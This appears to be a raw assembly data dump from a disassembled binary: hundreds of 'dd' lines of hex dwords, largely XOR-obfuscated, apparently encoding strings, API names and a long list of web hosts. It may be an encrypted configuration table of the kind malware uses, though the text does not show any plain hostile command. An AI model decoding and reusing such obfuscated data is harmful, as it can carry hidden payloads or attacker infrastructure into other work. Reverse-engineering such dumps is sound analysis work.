dd 771A4F0Dh, 8C9C05D7h, 8C9C05CAh, 8C9C053Bh, 8C9C0561h
dd 0E8F5F2D5h, 0F5F0FDF5h, 0EEDFF9E6h, 0FFF5E8F5h, 0F9CFF0FDh
dd 0F3F5E8FFh, 0EEDF9CF2h, 0F9E8FDF9h, 0F9EEF4C8h, 0D09CF8FDh
dd 0F9EAFDF9h, 0E8F5EEDFh, 0F0FDFFF5h, 0E8FFF9CFh, 9CF2F3F5h
dd 0F9E8F2D9h, 0F5EEDFEEh, 0FDFFF5E8h, 0FFF9CFF0h, 0F2F3F5E8h
dd 9C9C9C9Ch, 7D589C99h, 42B7D2Bh, 8A9C999Ch, 0F9AFF9AFh
dd 9C9F9CD6h, 0DD84D2F7h, 59C989Ch, 593F6620h, 809C9D9Ch
dd 9CC69CFCh, 0F6F6D495h, 0E1FBE0FAh, 0F8F4DBB5h, 0DAC5B6F0h
dd 0C6B5A6C5h, 0F0E3E7F0h, 0D8C6B6E7h, 0C6B5C5C1h, 0F0E3E7F0h
dd 0D8C6B6E7h, 0D1B5C5C1h, 0F9E5E6FCh
dd 0DBB5ECF4h, 0B6F0F8F4h, 0C5C1D8C6h, 0F4F8D0B5h, 0D4B5F9FCh
dd 0F0E7F1F1h, 0C5B6E6E6h, 0B5A6C5DAh, 0E7F0E6C0h, 0F8F4DBB5h
dd 9CB6B6F0h, 6E3E9C92h, 1E0D6E71h, 4D4D5F6Eh, 5A4C5149h
dd 9CA59C0Ch, 0AFA6BAE9h, 0BBA8BEBDh, 80A4B5ACh, 9A869B8Ah
dd 0B59D8F86h, 8C9D87A0h, 9D8C879Bh, 8A8AA8C9h, 9D879C86h
dd 8788A4C9h, 9B8C8E88h, 8A8AA8B5h, 9D879C86h, 0D9CCB59Ah
dd 999C91D1h, 355709Ch, 9C03552Ch, 0B89D9C99h, 0EEB8C1EEh
dd 189C989Ch, 32446B3Dh, 789C9B9Ch, 110A080Bh, 9C1E0C16h
dd 306F9C9Ah, 0A0A031Ch, 9C989C1Fh, 8E8BC1EFh, 9C979C9Bh
dd 0B1E4C894h, 0E1B1CBE1h, 0F8F8F0BAh, 349C9E9Ch, 9D9C1414h
dd 9CBC939Ch, 1D709C8Eh, 1C041303h, 4032F03h, 3050411h
dd 43021112h, 9C929C42h, 13102571h, 151F1826h, 1D32061Eh
dd 9C020210h, 0F5B39C92h, 0F5D7DDDAh, 0C7C0C1DAh, 0D6DFDAF5h
dd 9C959CF2h, 494E6127h, 484B6443h, 919C4254h, 0C7E5A29Ch
dd 0D0C7F4D6h, 0CCCDCBD1h, 9CE3DAE7h, 5E099C8Fh, 4A6C6D60h
dd 5D7B6861h, 657C4466h, 704B607Dh, 979C6C7Dh, 0FCCD8E9Ch
dd 0EBFAEFEBh, 0EBE2E7C8h, 9C979CCFh, 0B9AC93DCh, 0B3AE8CB2h
dd 0AFAFB9BFh, 659C919Ch, 3F091137h, 280A1700h, 170A0800h
dd 9C9B9C1Ch, 0DED9E7B0h, 0D3D5C8F5h, 529C8E9Ch, 11263715h
dd 37202027h, 3A06263Ch, 36333720h, 959C361Bh, 0E9C5869Ch
dd 0EFC0FFF6h, 9CC7E3EAh, 0FFBC9C90h, 0C8DDD9CEh, 0C8C9F1D9h
dd 9CFDC4D9h, 55129C8Ch, 7D516677h, 6667627Fh, 735C6077h
dd 9C53777Fh, 84D79C92h, 0BE91A3B2h, 0B887B2BBh, 0B2A3B9BEh
dd 9C8F9CA5h, 0ABBA98DFh, 0ABACA68Ch, 0B69BB2BAh, 0ABBCBAADh
dd 9EA6ADB0h, 119C919Ch, 55657456h, 74677863h, 74616845h
dd 9C909C50h, 0D0C1E3A4h, 0D4C9C1F0h, 0CCD0C5F4h, 9C919CE5h
dd 49587A3Dh, 494E446Eh, 54695058h, 899C5850h, 4260279Ch
dd 4B487153h, 6E424A52h, 55484149h, 4E53464Ah, 9C664948h
dd 1A5C9C88h, 8393035h, 8393135h, 2F250F33h, 8313928h
dd 9C393135h, 0AFE29C8Fh, 8B968E97h, 87969BA0h, 8BB58DB6h
dd 8AA18786h, 889C9083h, 0F7D0999Ch, 0F5EBFCEDh, 0FCF2FAF6h
dd 0FAFCDDFDh, 0FCF4FCEBh, 959CEDF7h, 21024E9Ch, 8222F2Dh
dd 9C2B2B3Ch, 73379C97h, 43525B52h, 5B5E7152h, 949C7652h
dd 0A1BED29Ch, 0B7BEA0A6h, 969C85BCh, 0EAC9859Ch, 0C4E9E4E6h
dd 0E6EAE9E9h, 0A49C979Ch, 0C1C1D6E2h, 0D6C6CDE8h, 9CDDD6C5h
dd 0EEA99C97h, 0C0EFDDCCh, 0C0FACCC5h, 909CCCD3h, 98A7F19Ch
dd 90848583h, 9D9DB09Dh, 909C929Eh, 4664239Ch, 404A7757h
dd 564C6048h, 919C574Dh, 557A3C9Ch, 59725852h, 557A4844h
dd 9C7D5950h, 743D9C88h, 4F584953h, 565E5251h, 53745958h
dd 50584F5Eh, 9C495358h, 0B2F19C93h, 90819C9Eh, 98B79483h
dd 98A5949Dh, 8F9C949Ch, 0E2D4839Ch, 0ECC5F7EAh, 0EDEAD0F1h
dd 0CCE6EFE4h, 0E0E6E9E1h, 9C929CF7h, 6173572h, 13111D3Eh
dd 1C3B171Eh, 9C331D14h, 2F689C8Fh, 1D2B1C0Dh, 60D1A1Ah
dd 71A381Ch, 1B1B0D0Bh, 8E9C0C21h, 0A587C09Ch, 0A4AF8DB4h
dd 86A5ACB5h, 8EA5ACA9h, 81A5ADA1h, 0C09C949Ch, 0A4A1A592h
dd 0A5ACA986h, 569C969Ch, 223F2E13h, 33243E02h, 8B9C3237h
dd 1521679Ch, 9220202h, 8150E11h, 9020A09h, 15133413h
dd 1400090Eh, 9C8D9C26h, 41507235h, 415C4D70h, 50515A76h
dd 50475D61h, 979C5154h, 0EDD2849Ch, 0E5F1F0F6h, 0E1F6C2E8h
dd 9C959CE1h, 8E95B0E7h, 8EA18293h, 909C828Bh, 0CFF9AA9Ch
dd 0D8D8EFDEh, 0C5E7D8C5h, 8D9CCFCEh, 3715529Ch, 213B1626h
dd 37201439h, 33220137h, 9C133731h, 4439C8Ah, 2D063726h
dd 2C312A35h, 2D262E2Dh, 31371037h, 30242D2Ah, 9C909C02h
dd 0D2C3E1A6h, 0D4C3D5F3h, 0C3CBC7E8h, 9C899CE7h, 303E1B5Ah
dd 0E2E292Fh, 343F3135h, 2C33280Ah, 3D3F3633h, 8E9C293Fh
dd 7F5D1A9Ch, 7E73496Eh, 5B786F49h, 75726E6Fh, 636E7368h
dd 0BE9C919Ch, 0F1D9DBECh, 0F5D0DBCEh, 0C6FBC7DBh, 9C979CFFh
dd 0FFFDCA98h, 0EBF7F4DBh, 0E1FDD3FDh, 369C899Ch, 5D59597Ah
dd 44664643h, 5A5F405Fh, 60535153h, 53435A57h, 9C8C9C77h
dd 0DCDEE9BBh, 0C9DECEEAh, 0D7DAEDC2h, 0C3FEDECEh, 9C859CFAh
dd 0FCEDDB88h, 0FDEBEDDBh, 0F1FCE1FAh, 0EBFBEDCCh, 0FCF8E1FAh
dd 0E9CCFAE7h, 809CE4EBh, 0DCFBB29Ch, 0D3DBC6DBh, 0D7C8DBDEh
dd 0C7D1D7E1h, 0CBC6DBC0h, 0D1C1D7F6h, 0C6C2DBC0h, 8C9CC0DDh
dd 142B649Ch, 16340A01h, 1701070Bh, 0F0B3017h, 8C9C0A01h
dd 0E7D1829Ch, 0EEEBC4F6h, 0E1E7D1E7h, 0F6EBF0F7h, 859CC3FBh
dd 7654139Ch, 777A4067h, 7D76775Ah, 7A757A67h, 66526176h
dd 617C7B67h, 9C6A677Ah, 0E6A19C8Bh, 0C8F2D5C4h, 0C3D4F2C5h
dd 0C9D5D4E0h, 0D5C8D3CEh, 0D4CEE2D8h, 8F9CD5CFh, 123649Ch
dd 0F0B3010h, 0A2D0A01h, 9160B02h, 0B0D1005h, 9C869C0Ah
dd 1D0C3A69h, 1C0A0C3Ah, 101D001Bh, 0A1A0C2Dh, 1D19001Bh
dd 1E261B06h, 9C1B0C07h, 0DFBE9C90h, 0CEDFC8DAh, 908C8DD7h
dd 9CD2D2DAh, 5F3E9C90h, 4E5F485Ah, 100C0D57h, 9C52525Ah
dd 9C449C9Ch, 1A629C9Dh, 0C49C9D9Ch, 9C9C9CE4h, 9C8F9C5Fh
dd 0F2FDC693h, 0B3F6FFF1h, 0F2B3FCE7h, 0FCFBE7E6h, 0F6E9FAE1h
dd 0F99CA99Ch, 9B9897ACh, 8DD99C95h, 8C98D996h, 8B96918Dh
dd 0D99C8390h, 0B7B0D9D4h, 0ABABB6BAh, 0D9ADBABCh, 0D7B7B0A9h
dd 9C95A9D9h, 0D59C8A98h, 8B969AD9h, 8D9A9C8Bh, 9C9D9CD7h
dd 829CB895h, 0AE92C29Ch, 0A7B1A3A7h, 0A7B1E2EEh, 0B6A1A7AEh
dd 0B2BA87E2h, 0B6A3B0ABh, 0E2ACADABh, 0B0A3A79Bh, 569C9D9Ch
dd 9C839C76h, 3D340858h, 743D2B39h, 343D2B78h, 782C3B3Dh
dd 3128201Dh, 312C392Ah, 15783637h, 302C3637h, 9D9C989Ch
dd 0C5A5ADB8h, 439C969Ch, 1C202530h, 276D302Ch, 969C2F2Fh
dd 5045369Ch, 45596955h, 5A5A5218h, 939C989Ch, 0CBA1BDB6h
dd 0A9C9D9Ch, 9C9E9C2Fh, 9CBAFCD9h, 80BB9C9Fh, 989C86D4h
dd 3078439Ch, 989C7E2Ch, 1F407B9Ch, 989C5A46h, 0C59AA19Ch
dd 9C9C8B9Ch, 9C9C9C9Fh, 9CAE9CE7h, 9CA09CAAh, 9C8B9C9Ch
dd 8ACC8AAFh, 8ACC8ACCh, 0CC8A82CCh, 2 dup(0CC8ACC8Ah)
dd 0C2C0CC81h, 899C8A9Ch, 2 dup(0EAACEAACh), 0ACA4EAACh
dd 0ACEAACEAh, 0A7EAACEAh, 8C9CFCFBh, 514A199Ch, 5F6D7C5Eh
dd 7C7D7576h, 6D78496Bh, 979C5871h, 9D86F59Ch, 0C6999990h
dd 9991DBC7h, 9C979C99h, 4C415A29h, 1B1A4545h, 45454D07h
dd 0C59C9D9Ch, 9C9E9CB9h, 9C5E0222h, 0D9E39C9Dh, 0AB9C989Ch
dd 91DE8E8Bh, 39C9D9Ch, 9C969C7Fh, 651F0323h, 196E716Ch
dd 9C1D5606h, 7A5A9C97h, 1B081C66h, 7F601F17h, 969C642Fh
dd 1E02229Ch, 6F637064h, 1C6F1867h, 9C9C9C9Ch, 9C9C9C99h
dd 9C2C9C5Ah, 9C369C3Bh, 9C3F9C2Fh, 9C9C9C9Ch, 9C9C9C98h
dd 9C599C37h, 9C5A9C56h, 9C9C9C52h, 9C779C9Ch, 44619C98h
dd 9C3D5B02h, 193C9C9Ah, 64191164h, 9C9B9C1Dh, 7D270B57h
dd 3B3B3379h, 9C9C9C9Ch, 9C9C9C95h, 9C729C10h, 9C769C75h
dd 9C629C7Fh, 9C559C75h, 9C749C7Eh, 9CBC9C9Ch, 57045277h
dd 4A140504h, 703031Fh, 5258584Dh, 4A1F4804h, 1510452h
dd 5102524Ah, 4524A07h, 9CDF9C49h, 1B481E3Bh, 6584948h
dd 4B4F4F53h, 1E141401h, 6530448h, 521D481Eh
dd 1E4E1E06h, 6541D48h, 5D1D4E1Eh, 1D581E06h, 1E065248h
dd 54481D48h, 1D4E1E06h, 1E06574Fh, 64D1D4Eh, 5F1D4E1Eh
dd 5481E06h, 0DA9C8C9Ch, 0A9FAA9FFh, 0FFE7B9A8h, 0BCE5F5A9h
dd 0E4B9FFE7h, 839C829Ch, 0E4EEEABFh, 0E7EAF4A3h, 0B3BEEBF7h
dd 0EAE6EBA3h, 0BEF7EBE4h, 0ECE1A3B3h, 0F1E6E7F1h, 9B9CB3BEh
dd 0C526E9Ch, 0C415250h, 9C969C50h, 485D622Dh, 59586043h
dd 9C6C5548h, 7D319C90h, 7D55505Eh, 50435358h, 9C704843h
dd 0C1829C97h, 0E7F1EDEEh, 0E6ECE3CAh, 8C9CE7EEh, 725629Ch
dd 60D2F16h, 2A070E17h, 0E060C03h, 0DC9C2307h, 484B0A9Ch
dd 4C4F4E49h, 4043424Dh, 44474641h, 585B5A45h, 5C5F5E59h
dd 5053525Dh, 6E69686Bh, 626D6C6Fh, 66616063h, 7A656467h
dd 7E79787Bh, 727D7C7Fh, 3B3A7073h, 3F3E3938h, 33323D3Ch
dd 969C2521h, 23014C9Ch, 251B293Ah, 3B232822h, 6A9C929Ch
dd 3D1E0F2Dh, 50E0403h, 405261Dh, 929C2B0Dh, 0F7D5929Ch
dd 0FCFBC5E6h, 0C6E5FDF6h, 0D3E6EAF7h, 1F9C929Ch, 486B7A4Ch
dd 707B7176h, 677A4B68h, 949C5E6Bh, 5F693A9Ch, 57536E4Eh
dd 939C485Fh, 0D8FAB99Ch, 0D0EED5D5h, 0CED6DDD7h, 0DAD6CBE9h
dd 9C979CF8h, 0B9AF87CAh, 0AFADABB9h, 8BB2A588h, 1A9C949Ch
dd 5C6E7F49h, 696F7975h, 0E29C939Ch, 838790A1h, 8BB58796h
dd 958D868Ch, 9CA39AA7h, 72219C92h, 48765544h, 564E454Fh
dd 464F4E6Dh, 9C919C60h, 0A0D2264h, 0A0D3300h, 21130B00h
dd 8E9C251Ch, 2296C9Ch, 9280119h, 318071Fh, 2053B1Ch, 1F1B0308h
dd 1B9C919Ch, 6F687E5Fh, 4C627469h, 747F7572h, 9C929C6Ch
dd 31321357h, 33393E00h, 25072038h, 9C163438h, 32669C8Ch
dd 15080714h, 312070Ah, 1515032Bh, 9C030107h, 80C79C91h
dd 0AB84B3A2h, 89B4B4A6h, 86A2AAA6h, 589C909Ch, 3C363D0Bh
dd 2B2B3D15h, 193D3F39h, 129C929Ch, 7B757740h, 60776661h
dd 61737E51h, 979C5361h, 694B0C9Ch, 7F694178h, 696B6D7Fh
dd 9C919C4Dh, 63725017h, 73797E40h, 72456078h, 8F9C6374h
dd 0A381C69Ch, 0B4A980B2h, 0A9B4A1A3h, 91A2A8B3h, 0A9A2A8AFh
dd 9C969CB1h, 0EAEDD685h, 0EBECD2F2h, 9CF2EAE1h, 22669C8Ch
dd 716150Fh, 2B0E0512h, 7151503h, 9C270301h, 98DF9C95h
dd 0B688ABBAh, 0A8B0BBB1h, 1B9C969Ch, 697E686Eh, 7F352928h
dd 969C7777h, 0AEA8DD9Ch, 0EFEEAFB8h, 0B1B1B9F3h, 879C909Ch
dd 0EEF5E6D1h, 0C4F3E9E6h, 0F5E6E2EBh, 779C919Ch, 31040E24h
dd 24121205h, 191E0503h, 9C909C10h, 3C260B4Fh, 3B2A083Fh
dd 2E3D2E1Fh, 9C979C22h, 3D2E194Fh, 3B212E26h, 3B262106h
dd 949C929Ch, 0D5E7EDC7h, 0F7FBF8F8h, 0FDE6E0C7h, 909CF3FAh
dd 71721D9Ch, 69687C78h, 79332F2Eh, 909C7171h, 0E8EB849Ch
dd 0F0F1E5E1h, 0E0AAB6B7h, 9D9CE8E8h, 9CB9E59Ch, 0E0C59C93h
dd 0A3A199B6h, 0BFB0E0A9h, 0A1EBF7F6h, 979CA9A9h, 1F496C9Ch
dd 491F4930h, 24219h, 9C939C1Fh, 8FA0F6D3h, 0A6F6B5B8h
dd 0E1E0A9BFh, 0BFBFB7FDh, 0BC9C8C9Ch, 0CBE0CF99h, 0C999CECFh
dd 8E8FC8C6h, 0D0D0D892h, 729C999Ch, 613165Ch, 9C979C13h
dd 80B68CC5h, 0A9A4B0B4h, 818C9082h, 109C919Ch, 71447F53h
dd 755D7B63h, 7562567Dh, 9C909C75h, 0A781ADEEh, 879A8780h
dd 9487828Fh, 9C939C8Bh, 534C4300h, 72464449h, 74536D6Fh
dd 676E6972h, 939C929Ch, 0FDC6FCD0h, 0E7FAFDFAh, 0FAFFF2FAh
dd 8C9CF6E9h, 0B19DDE9Ch, 0BFBBAC9Dh, 0B097BBAAh, 0B0BFAAADh
dd 959CBBBDh, 888BE49Ch, 0CAD6D781h, 9C888880h, 0D6B99C95h
dd 8B8ADCD5h, 0D5D5DD97h, 0E89C999Ch, 0CDB49BCDh, 9C999C9Bh
dd 0DCF3A580h, 989CF3A5h, 3660459Ch, 849C6F19h, 0E9DF8C9Ch
dd 0E9E7EDD8h, 0E9E2FBC3h, 0E5E4FFFEh, 0E5FEDCFCh, 0E9E0E5FAh
dd 9D9CE9EBh, 9CB7EB9Ch, 0B5DE9C9Ah, 0A8F3AFB5h, 9C949CA6h
dd 0F1DD8BAEh, 8BD6DAC3h, 9C9D9CDBh, 9D9C4B1Eh, 9C94C29Ch
dd 0ACFC9C88h, 8E9388AFh, 998EBF99h, 0B599889Dh, 9D888F92h
dd 9C999F92h, 0F4849C97h, 0F6EBF0F7h, 0E0AAE7E1h, 979CE8E8h
dd 8083F39Ch, 96819C87h, 9F97DD90h, 9C919C9Fh, 5B515B28h
dd 58454D5Ch, 414E475Ah, 9A9C4D44h, 0B5A2C79Ch, 0A2A4AEB1h
dd 0BA9C9D9Ch, 9C949C9Eh, 0ECFA89A9h, 0EAE0FFFBh, 9C9A9CECh
dd 1A101A49h, 9C040C1Dh, 8DDD9C95h, 0A8B9B2AFh, 0B994A9BEh
dd 0D59CB09Ch, 81939A86h, 90879482h, 0B6BC9889h, 0BAA6BAA7h
dd 8289A1B3h, 0BAB1BBBCh, 9BF5A6A2h, 0A0968981h, 0BBB0A7A7h
dd 0A7B083A1h, 0BBBABCA6h, 0EB9C959Ch, 8F8499BBh, 0A29F889Eh
dd 9CB59C8Fh, 535A4615h, 47544241h, 7C584950h, 667A6776h
dd 4961737Ah, 717B7C42h, 4966627Ah, 67676056h, 43617B70h
dd 7C666770h, 9D9C7B7Ah, 9C547A9Ch, 0BD909C98h, 9CBEC8B5h
dd 7F1C9C9Fh, 949C4026h, 80D0F59Ch, 0DB80D0DBh, 8E9C80D0h
dd 1520739Ch, 35003A10h, 23161F1Ah, 16071C01h, 17160710h
dd 0B49C9B9Ch, 9AD7D2C7h, 9CD8D8D0h, 2D5E9C9Bh, 3A703D38h
dd 9A9C3232h, 7076C9Ch, 141A411Dh, 0DB9C9A9Ch, 0F6AAB0B0h
dd 9A9CA3ADh, 5D5D369Ch, 4E401B47h, 769C9A9Ch, 5B071D1Dh
dd 949C0E00h, 7224019Ch, 79756C5Eh, 9A9C7424h, 8787EC9Ch
dd 949AC19Dh, 5F9C9B9Ch, 32002C7Ah, 9C6E272Bh, 44079C8Eh
dd 73777E75h, 75776952h, 64627368h, 73664373h, 9C979C66h
dd 111A0B68h, 5A5B1C18h, 4040C46h, 709C979Ch, 90213h, 5E424304h
dd 9C1C1C14h, 0BEF79C8Dh, 85928399h, 0D7839299h, 9B878FB2h
dd 85928598h, 9C9C9C9Ch, 9C9C9C98h, 9CD99C9Bh, 9CDF9CD4h
dd 9C9C9CC2h, 11529C8Ah, 39313B3Eh, 313C1D72h, 3D067237h
dd 3C3D1172h, 273C3B26h, 9C9A9C37h, 0DCDDCA88h, 9CC6C7DCh
dd 6B2E9C82h, 7C677E76h, 61677A6Fh, 6F6A0E60h, 24246B7Ah
dd 637A6F24h, 60677E0Eh, 6A616D0Eh, 9C9A9C6Bh, 1B0E095Ah
dd 9C19130Eh, 9C579C9Ch, 0B0F59C98h, 9CA1BCB1h, 9EBB9C98h
dd 9CCE8995h, 0A7959C9Ah, 0A7BBB0A5h, 9C9C9CE0h, 9C949C82h
dd 71737F3Ch, 737E737Eh, 9C9C9C64h, 9C949CCFh, 0A1A3AFECh
dd 0A3AEA3AEh, 9CF29CB4h, 4C43782Dh, 0D48414Fh, 4C0D4259h
dd 42455958h, 4857445Fh, 5E082703h, 425F5D0Dh, 5E5E484Eh
dd 0D4A4344h, 5943484Eh, 440D5F48h, 43580D5Eh, 48414F4Ch
dd 0D42590Dh, 4559584Ch, 57445F42h, 42540D48h, 4E0D5F58h
dd 0D495F4Ch, 27035E08h, 48464C60h, 5F424E0Dh, 594E485Fh
dd 5E434244h, 49434C0Dh, 545F590Dh, 4C4A4C0Dh, 9C034344h
dd 0EDA09C96h, 0C5D4D3C1h, 0D2C1E3D2h, 9C989CC4h, 0AFB5AAFCh
dd 9C9D9CBDh, 9A9C3010h, 0AFA8FB9Ch, 0B8B2AFBAh, 1F9C899Ch
dd 3F3F3F15h, 5C504D4Fh, 564C4C5Ah, 593F5851h, 5A53565Eh
dd 9C9A9C5Bh, 6E7B7C2Fh, 9C6C667Bh, 9CDC9C9Ch, 52019C9Ah
dd 48554055h, 9C9A9C42h, 0FFE5E58Eh, 9CF6F8A3h, 0F7B29C94h
dd 0DDDEC2CAh, 9CC0D7C0h, 8CC89C95h, 0AA87ABA7h, 0BCABADA2h
dd 699C929Ch, 3E0B083Dh, 60D0700h, 8052A1Eh, 989C1A1Ah
dd 286E4B9Ch, 9D9C1771h, 9C760A9Ch, 83CA9C85h, 899E8F84h
dd 0EA878785h, 0BCB8AF99h, 9AEAB8AFh, 0BDB9B9ABh, 0B9AEB8A5h
dd 119C9D9Ch, 9C9D9C6Dh, 9D9CB390h, 9C88AB9Ch, 0E2D9C9Dh
dd 19C9B9Ch, 71757569h, 9C2E2E3Bh, 56759C9Dh, 739C9B9Ch
dd 307071Bh, 9C5C5C49h, 7D1E9897h, 767D7B76h, 6C6E707Bh
dd 306D6D7Bh, 71787077h, 7271793Dh, 72716E7Ah, 717D3072h
dd 70773D73h, 7271796Ah, 717D307Ah, 69693D73h, 7C7D3069h
dd 6B6C306Ch, 6969693Dh, 7D687F30h, 757D7B76h, 3D6B6C30h
dd 6C716A6Dh, 677F6E73h, 73717D30h, 6B6C7D3Dh, 306E716Ah
dd 703D6B70h, 7B30697Bh, 7D307979h, 693D7371h, 6E306969h
dd 77647071h, 737F7D6Dh, 717D306Dh, 687F3D73h, 7D7B767Dh
dd 6B6C3075h, 7D687F3Dh, 757D7B76h, 64777C30h, 6969693Dh
dd 777C7C30h, 6B6C3070h, 6D7F733Dh, 336C7B6Ah, 717D3066h
dd 69693D73h, 716E3069h, 6D776470h, 6D737F7Dh, 73717D30h
dd 6969693Dh, 707F7C30h, 7F7C3375h, 7B6B6F70h, 707F7D33h
dd 307F7A7Fh, 693D7F7Dh, 6E306969h, 77647071h, 737F7D6Dh
dd 717D306Dh, 69693D73h, 737C3069h, 717D3071h, 7F6E3D73h
dd 727F6E67h, 73717D30h, 7F7C7B3Dh, 717D3067h, 69693D73h
dd 7F7C3069h, 78717570h, 6B7A7F73h, 7D307F6Ch, 693D7371h
dd 7D306969h, 307D7C77h, 3D73717Dh, 30696969h, 307C6A68h
dd 693D6B6Ch, 7D306969h, 707F7C69h, 717D3075h, 71793D73h
dd 716E7A72h, 7D307272h, 693D7371h, 6E306969h, 77647071h
dd 737F7D6Dh, 717D306Dh, 69693D73h, 73733069h, 75707F7Ch
dd 3D6B6C30h, 30696969h, 7F77706Bh, 6B6C6A6Dh, 6B6C3073h
dd 7271793Dh, 72716E7Ah, 717D3072h, 69693D73h, 716E3069h
dd 6D776470h, 6D737F7Dh, 73717D30h, 6969693Dh, 6C716930h
dd 7F7C7A72h, 71307570h, 693D796Ch, 7D306969h, 777A707Fh
dd 7B6A7F7Ah, 776C7B68h, 6C7B7778h, 73717D30h, 6969693Dh
dd 70716E30h, 7D6D7764h, 306D737Fh, 3D73717Dh, 30696969h
dd 75707F7Ch, 70777871h, 307F777Ah, 3D73717Dh, 30696969h
dd 7F7C7D77h, 6C307570h, 687F3D6Bh, 7D7B767Dh, 6B6C3075h
dd 6969693Dh, 707B6830h, 6D6C717Ah, 7B737F70h, 3D6D6930h
dd 30696969h, 307C7375h, 693D6B6Ch, 70306969h, 7F736A7Bh
dd 6A6D7779h, 7D306C7Bh, 753D7371h, 7F75687Fh, 707B7D64h
dd 306C7B6Ah, 3D73717Dh, 30696969h, 7A707B68h, 706D6C71h
dd 307B737Fh, 733D6D69h, 72707167h, 7F7B7077h, 6B717D7Dh
dd 2C6D6A70h, 7C7C7F30h, 7F70677Bh, 7071776Ah, 7D30727Fh
dd 756B3071h, 7270713Dh, 337B7077h, 776D6B7Ch, 6D6D7B70h
dd 71727230h, 6A6D7A67h, 7D307C6Dh, 756B3071h, 6969693Dh
dd 72727F30h, 7C7F767Fh, 7F7C7A7Fh, 7D307570h, 693D7371h
dd 6C306969h, 7D307D7Ch, 693D7371h, 6E306969h, 77647071h
dd 737F7D6Dh, 717D306Dh, 69693D73h, 76302F69h, 307D7C6Dh
dd 753D7F7Dh, 7B6C7C79h, 7D667F72h, 307C6B72h, 673D6B6Ch
dd 717C737Fh, 64777C30h, 7A77753Dh, 7C336D71h, 3075707Fh
dd 693D6B6Ch, 72306969h, 777A7D7Ch, 6A7D7B6Ch, 6B7F7230h
dd 6A707B6Ch, 7C707F77h, 3075707Fh, 7C3D7F7Dh, 727D6C7Fh
dd 306D677Fh, 3D73717Dh, 7F6A716Ah, 78677272h, 7C7B7B6Ch
dd 7775707Fh, 7D307970h, 693D7371h, 70306969h, 7D307D7Ch
dd 2D2B3D7Fh, 75707F7Ch, 73717D30h, 6969693Dh, 707B6830h
dd 6D6C717Ah, 7B737F70h, 3D706830h, 30696969h, 337C2C7Ch
dd 6D6B6C6Ah, 717D306Ah, 69693D73h, 7B683069h, 6C717A70h
dd 737F706Dh, 6D69307Bh, 7B6E713Dh, 707F7C70h, 717D3075h
dd 7F6A3D73h, 7B70336Ah, 7F7C6A78h, 6C307570h, 7B6D3D6Bh
dd 7C7F727Dh, 3D6B6C30h, 6B7D7B6Dh, 676A776Ch, 307C7F72h
dd 783D6B6Ch, 7F766A7Bh, 7C307A6Ch, 793D6477h, 6670716Ch
dd 707F726Eh, 306D6A7Bh, 683D6B6Ch, 717A707Bh, 7F706D6Ch
dd 68307B73h, 9D9C3D70h, 9C5C009Ch, 82EF9C9Ah, 828C828Ah
dd 9C9A9C9Fh, 2E262E43h, 9C372630h, 62119C9Ah, 70726365h
dd 9C9A9C65h, 313C305Dh, 9C3E3231h, 0EF8E9C98h, 9CE7E1FAh
dd 0EF829C9Ah, 0F2E1EFE7h, 9C999CFBh, 3E2D2C5Fh, 989C3B31h
dd 3C284E9Ch, 9A9C2B2Bh, 6364179Ch, 6E677465h, 669C949Ch
dd 14161510h, 12080Fh, 0C89C9B9Ch, 0B8BDA7BCh, 9CBAADB8h
dd 13619C98h, 9C050F00h, 9EFD9C96h, 9199898Fh, 9199D391h
dd 9C969C91h, 0ACAABBD8h, 0F6B4B4BCh, 9CB4B4BCh, 56779C9Dh
dd 929C9D9Ch, 9C989CB8h, 72727672h, 9C979C72h, 1D0A3B78h
dd 3E1D0C19h, 390C1617h, 0F09C959Ch, 0C3999497h, 9C94DEC2h
dd 9C959C9Ch, 0E0EDEE89h, 0EDA7BBBAh, 0A69CE5E5h, 9C9CB3B3h
dd 73CC5EEh, 8D536A34h, 3C9CDE38h, 0A5139655h, 62DD9A7Ch
dd 8D4CA506h, 3C9C1038h, 0A5139655h, 0A83B893Ch, 8D4CF91Bh
dd 0BC9CD60Eh, 0D1305B33h, 0ACCC6EC7h, 8D530429h, 369C1E27h
dd 9752219Ch, 2D0A2E18h, 8C862628h, 369C002Ah, 9B81A89Ch
dd 9C9E989Ch, 9C9C9C9Ch, 9C9C9C5Ch, 0DA9C9C9Ch, 0AFB0D8B9h
dd 8D4CBA57h, 5C9C1F28h, 859D45D3h, 0ACCC6E83h, 8D530429h
dd 369C1E27h, 9752219Ch, 0ACCC6D63h, 8D530429h, 369C1E27h
dd 9752219Ch, 0ACCC6D6Bh, 8D530429h, 369C1E27h, 9752219Ch
dd 0ACCC6EDCh, 8D530429h, 369C1E27h, 9752219Ch, 0AFB0D8BBh
dd 8D4CBA57h, 5C9C1F28h, 859D45D3h, 1957F59Ch, 8D53D109h
dd 1C9C900Ah, 1972685Bh, 4F908AFDh, 8D4C5133h, 5C9CA216h
dd 0F27E55D3h, 53h dup(9C9C9C9Ch), 9C8D3CECh, 2 dup(9C9C9C9Ch)
dd 9C8D3D18h, 9C8D3C30h, 9C8D3C18h, 2 dup(9C9C9C9Ch), 9C8D3D3Ch
dd 9C8D3C5Ch, 12h dup(9C9C9C9Ch), 9C8D3C74h, 9C8D3C64h
dd 9C8D3D88h, 2 dup(9C9C9C9Ch), 9C8D3DBCh, 9C8D3DB0h, 9C8D3DDCh
dd 9C8D3DD0h, 9C8D3DC4h, 9C8D3DF8h, 9C8D3DF0h, 9C8D3DE4h
dd 2 dup(9C9C9C9Ch), 9C8D3C74h, 9C8D3C64h, 9C8D3D88h, 2 dup(9C9C9C9Ch)
dd 9C8D3DBCh, 9C8D3DB0h, 9C8D3DDCh, 9C8D3DD0h, 9C8D3DC4h
dd 9C8D3DF8h, 9C8D3DF0h, 9C8D3DE4h, 2 dup(9C9C9C9Ch), 0E4D99C07h
dd 0EECCE8F5h, 0EFF9FFF3h, 9C9C9CEFh, 0F9DB9DB8h, 0EAF2D9E8h
dd 0F2F3EEF5h, 0E8F2F9F1h, 0F5EEE8CFh, 0DDEFFBF2h, 9C9C9C9Ch
dd 0E8CE9EE4h, 0EBF2C9F0h, 9CF8F2F5h, 0FAC39C1Ch, 0F9ECF3F8h
dd 9C9C9CF2h, 0F3C39DD3h, 0C3F2F9ECh, 0F4FAEFF3h, 0F0F8F2FDh
dd 9C9C9CF9h, 0FFFA9E91h, 0F9EFF3F0h, 9C9C9C9Ch, 0FFC39CA5h
dd 0E8F5E4F9h, 9C9C9C9Ch, 0FDF19ED2h, 0FFF3F0F0h, 9C9C9C9Ch
dd 0FDEE9EFCh, 9CF9EFF5h, 0F9EF9EFBh, 0FAE9FEE8h, 9C9C9C9Ch
